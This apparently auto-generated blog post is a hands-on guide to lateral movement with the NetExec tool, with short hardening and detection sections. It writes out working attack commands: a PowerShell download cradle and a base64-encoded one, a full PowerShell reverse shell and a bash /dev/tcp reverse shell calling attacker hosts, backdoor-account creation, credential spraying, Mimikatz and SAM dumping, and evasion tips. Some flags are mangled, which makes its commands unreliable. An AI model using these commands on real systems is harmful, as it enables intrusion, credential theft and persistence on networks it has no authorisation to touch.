Listen to this Post
Introduction:
NetExec (formerly known as CrackMapExec) is a Swiss‑army knife post‑exploitation framework that allows penetration testers and red teamers to execute commands remotely across multiple network protocols in a unified, efficient manner. By automating lateral movement through SMB, WinRM, WMI, MSSQL, RDP, and SSH, NetExec transforms tedious manual checks into rapid, scalable attacks – making it an essential tool for any serious adversary simulation.
Learning Objectives:
- Understand how to install and configure NetExec (nxc) on Linux for production‑grade pentesting.
- Execute remote commands using Pass‑the‑Hash, Kerberos tickets, and SSH keys across six critical protocols.
- Identify and implement defensive countermeasures, including command logging, protocol hardening, and network segmentation.
You Should Know:
- Installing & Configuring NetExec – The Foundation of Remote Mayhem
NetExec is a Python‑based tool best installed via pipx or from source. It requires a modern Linux distribution (Kali, Parrot, or Ubuntu). Below are the verified installation steps and a basic configuration to ensure you can hit the ground running.
Installation (Linux – Kali/Ubuntu/Debian):
Install pipx if not present sudo apt update && sudo apt install pipx -y pipx ensurepath Install NetExec pipx install git+https://github.com/Pennyw0rth/NetExec Verify installation nxc -h
Windows Subsystem for Linux (WSL) alternative:
Inside WSL2 Ubuntu sudo apt install python3-pip git pip install pipx pipx install git+https://github.com/Pennyw0rth/NetExec
Configuration file (~/.nxc/nxc.conf) – store default credentials and options:
[bash] default-username = pentest_user default-password = Fall2025! default-domain = LAB.local [bash] default-username = administrator default-hash = aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
What this does: Pipx isolates NetExec in a virtual environment, avoiding dependency hell. The config file lets you pre‑set credentials for faster testing. Always rotate credentials after each engagement.
- SMB Command Execution – Pass‑the‑Hash & File Share Domination
SMB (port 445) is the most common lateral movement vector in Windows domains. NetExec can execute commands via smbexec, atexec, or wmiexec‑style techniques, with full Pass‑the‑Hash (PtH) support.
Basic SMB command execution using Pass‑the‑Hash:
Execute 'whoami' on a target using NTLM hash (PtH)
nxc smb 192.168.1.10 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "whoami"
Run a PowerShell download cradle
nxc smb 192.168.1.0/24 -u john.doe -H aad3b435b51404eeaad3b435b51404ee -X "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/beacon.ps1')"
Execute command on all reachable hosts in a subnet
nxc smb 192.168.1.0/24 -u local_admin -p 'P@ssw0rd' -x 'net user backdoor Password123! /add'
Step‑by‑step guide to SMB lateral movement:
- Gather hashes – Use mimikatz or secretsdump to extract NTLM hashes from a compromised host.
- Test hash validity – `nxc smb target -u username -H hash` (no command needed – just check if login works).
- Execute command – Append `-x ‘command’` for cmd.exe or `-X ‘powershell’` for PowerShell.
- Interactive shell – Use `nxc smb target -u user -H hash –exec-method smbexec` for a semi‑interactive shell.
Defensive hardening:
- Disable SMBv1 and restrict SMB signing requirements.
- Use Local Administrator Password Solution (LAPS) to rotate local admin passwords.
- Monitor Event ID 4624 (logon) with logon type 3 (network) and 10 (remote interactive).
3. WinRM – Firewall‑Friendly Remote Management Abuse
Windows Remote Management (WinRM, port 5985/5986) is often left enabled for automation. NetExec leverages WinRM for command execution without touching SMB – bypassing many EDR hooks on file shares.
Executing commands over WinRM:
Basic command with plaintext password nxc winrm 10.10.10.50 -u svc_deploy -p 'Deploy123' -x 'hostname' Pass‑the‑Hash works on WinRM if the user is local admin nxc winrm 10.10.10.50 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -X 'Get-Service -Name WinRM' Using a Kerberos ticket (Linux – after <code>kinit</code>) nxc winrm dc.lab.local -u admin --kerberos --kdc 10.10.10.10 -x 'whoami /groups'
Step‑by‑step WinRM exploitation:
- Discover WinRM hosts – `nxc winrm 192.168.1.0/24` (no credentials – checks if port open and auth supported).
- Credential spray – `nxc winrm 192.168.1.10 -u users.txt -p passwords.txt –continue-on-success` to avoid lockouts.
- Execute payload – `-x ‘powershell -enc
‘` for evasion. - Obtain shell – Use `evil-winrm` for a full interactive session if NetExec command execution is limited.
Mitigation:
- Enforce WinRM over HTTPS (port 5986) with client certificate authentication.
- Restrict WinRM users to specific security groups (e.g.,
WinRMRemoteWMIUsers__). - Enable PowerShell transcription logging to capture remote commands.
4. WMI & MSSQL – Database‑Driven Lateral Movement
WMI (port 135/RPC) and MSSQL (port 1433) provide alternative execution paths when SMB and WinRM are blocked. NetExec integrates both for maximum coverage.
WMI command execution:
Execute command via WMI (requires admin privileges) nxc wmi 192.168.1.20 -u jsmith -p 'Fall2025' -x 'systeminfo' Pass‑the‑Hash with WMI nxc wmi 192.168.1.20 -u backup_admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'netstat -an'
MSSQL command execution using `xp_cmdshell`:
Enable xp_cmdshell and run command nxc mssql 10.10.10.100 -u sa -p 'StrongP@ss1' -x 'whoami' Execute with Windows authentication nxc mssql 10.10.10.100 -u CORP\db_user -p 'DbPass' -x 'ipconfig' --local-auth
Step‑by‑step MSSQL abuse:
- Enumerate MSSQL instances – `nxc mssql 192.168.1.0/24 -u sa -p ”` (blank password check).
- Enable xp_cmdshell – If disabled, NetExec will attempt to enable it automatically when you use
-x. - Run reverse shell – `-x ‘powershell -c “$client=New-Object System.Net.Sockets.TCPClient(‘10.0.0.5’,4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”‘`
Hardening:
- Disable `xp_cmdshell` unless absolutely required (use
sp_configure). - Run MSSQL service with low‑privilege service account, not Local System.
- Audit for suspicious `xp_cmdshell` calls via SQL Server audit logs.
- RDP & SSH – Full Desktop & Linux Pivot
RDP (port 3389) is typically used for interactive GUI access, but NetExec can execute commands via RDP virtual channels. SSH (port 22) targets Linux/Unix hosts in hybrid environments.
RDP command execution (limited but useful):
Execute command over RDP using FreeRDP under the hood nxc rdp 192.168.1.15 -u jdoe -p 'Winter2025' -x 'calc.exe' Enable RDP remotely via SMB then execute nxc smb 192.168.1.15 -u admin -p pass -M enable_rdp nxc rdp 192.168.1.15 -u admin -p pass -x 'whoami'
SSH command execution on Linux targets:
Password authentication nxc ssh 10.10.10.200 -u root -p 'toor' -x 'id && uname -a' Key‑based authentication (private key file) nxc ssh 10.10.10.200 -u ubuntu -k ~/.ssh/id_rsa -x 'ls -la /root' SSH with proxy jump through a compromised host nxc ssh 10.10.10.200 -u admin -p pass -x 'cat /etc/shadow' --proxy 192.168.1.100:22
Step‑by‑step hybrid lateral movement (Windows → Linux):
- Compromise a Windows host, dump SSH keys from
%USERPROFILE%\.ssh\. - Use NetExec over SSH with stolen keys:
nxc ssh linux-target -u ubuntu -k stolen_key -x 'bash -i >& /dev/tcp/attacker/4444 0>&1'. - For RDP, first enable it via SMB using the built‑in `enable_rdp` module, then execute commands.
Defensive measures:
- Restrict RDP to specific jump hosts and enforce Network Level Authentication (NLA).
- Use SSH certificates instead of passwords or static keys; rotate them frequently.
- Monitor SSH logs for unusual command patterns (
/var/log/auth.log).
- Advanced Techniques – Modules, Credential Harvesting & Evasion
NetExec includes a module system that automates post‑exploitation tasks like dumping SAM hashes, injecting Mimikatz, and enumerating AD users.
Running a module:
Dump SAM hashes from a remote Windows host (requires admin) nxc smb 192.168.1.10 -u admin -p pass -M sam Use the Mimikatz module to extract plaintext passwords nxc smb 192.168.1.10 -u admin -p pass -M mimikatz Enumerate domain users via SMB nxc smb 192.168.1.10 -u admin -p pass -M enum_domain_users
Evasion techniques:
- Obfuscate commands with base64: `-x ‘powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMAAuADAALgA1AC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA’`
– Use `–no-output` to suppress return results and avoid logging (blind execution). - Combine with `–timeout` to limit dwell time:
--timeout 5.
Cloud hardening parallel (Azure/AWS):
- For hybrid environments, adapt NetExec to run via Azure Arc or AWS Systems Manager. Use `nxc winrm` against Azure VMs with managed identity tokens.
- Restrict Just‑in‑Time (JIT) access and require Azure Bastion for RDP.
7. Defensive Playbook – Detecting & Blocking NetExec
Blue teams must understand NetExec’s artifacts to build effective detections.
Indicators of Compromise (IOCs):
- Network: Rapid sequential login attempts on ports 445, 5985, 135, 1433 from a single source (lateral movement).
- Event logs (Windows):
- 4625 (failed logon) with multiple usernames – credential spraying.
- 4648 (logon with explicit credentials) followed by 5140 (network share access).
- PowerShell Operational log: Event 4104 (script block) with
Net.WebClient,DownloadString, orInvoke-Expression. - Process creation: `cmd.exe` / `powershell.exe` spawned by `wmiprvse.exe` or `sqlservr.exe` (WMI/MSSQL execution).
Mitigation commands (Windows Defender Firewall):
Block SMB inbound from untrusted subnets New-NetFirewallRule -DisplayName "Block SMB from DMZ" -Direction Inbound -Protocol TCP -LocalPort 445 -RemoteAddress 10.0.0.0/8 -Action Block Restrict WinRM to specific IP ranges Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.0/24"
Linux hardening (SSH):
Disable password authentication, enforce keys only sudo sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config sudo systemctl restart sshd Use fail2ban to block brute force sudo apt install fail2ban -y sudo systemctl enable fail2ban
What Undercode Say:
- NetExec is a force multiplier – It compiles six distinct attack protocols into a single, scriptable interface. Red teams that master it can move laterally faster than defenders can alert.
- Mitigation is about visibility, not just blocking – You cannot block all protocols (SMB is needed). Instead, enforce authentication hardening (LAPS, Kerberos armoring, certificate‑based WinRM) and log everything – then hunt for the execution patterns described above.
- The cloud changes the game – In Azure or AWS, traditional NetExec over SMB may fail. However, WinRM and SSH remain dominant. Use Azure Policy to disable WinRM on VMs unless centrally managed via Azure Bastion.
Prediction:
Within 18 months, NetExec will incorporate native support for Graph API and AWS Systems Manager, enabling lateral movement across SaaS and cloud control planes. Defenders will respond by deploying micro‑segmentation and ephemeral credentials, but the fundamental problem – remote command execution over legitimate management protocols – will persist. Expect EDR vendors to add specific NetExec module detections, triggering an arms race in obfuscation and living‑off‑the‑land techniques. The tool that started as a pentesting convenience will become a standard metric for enterprise detection capability.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Netexec For – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
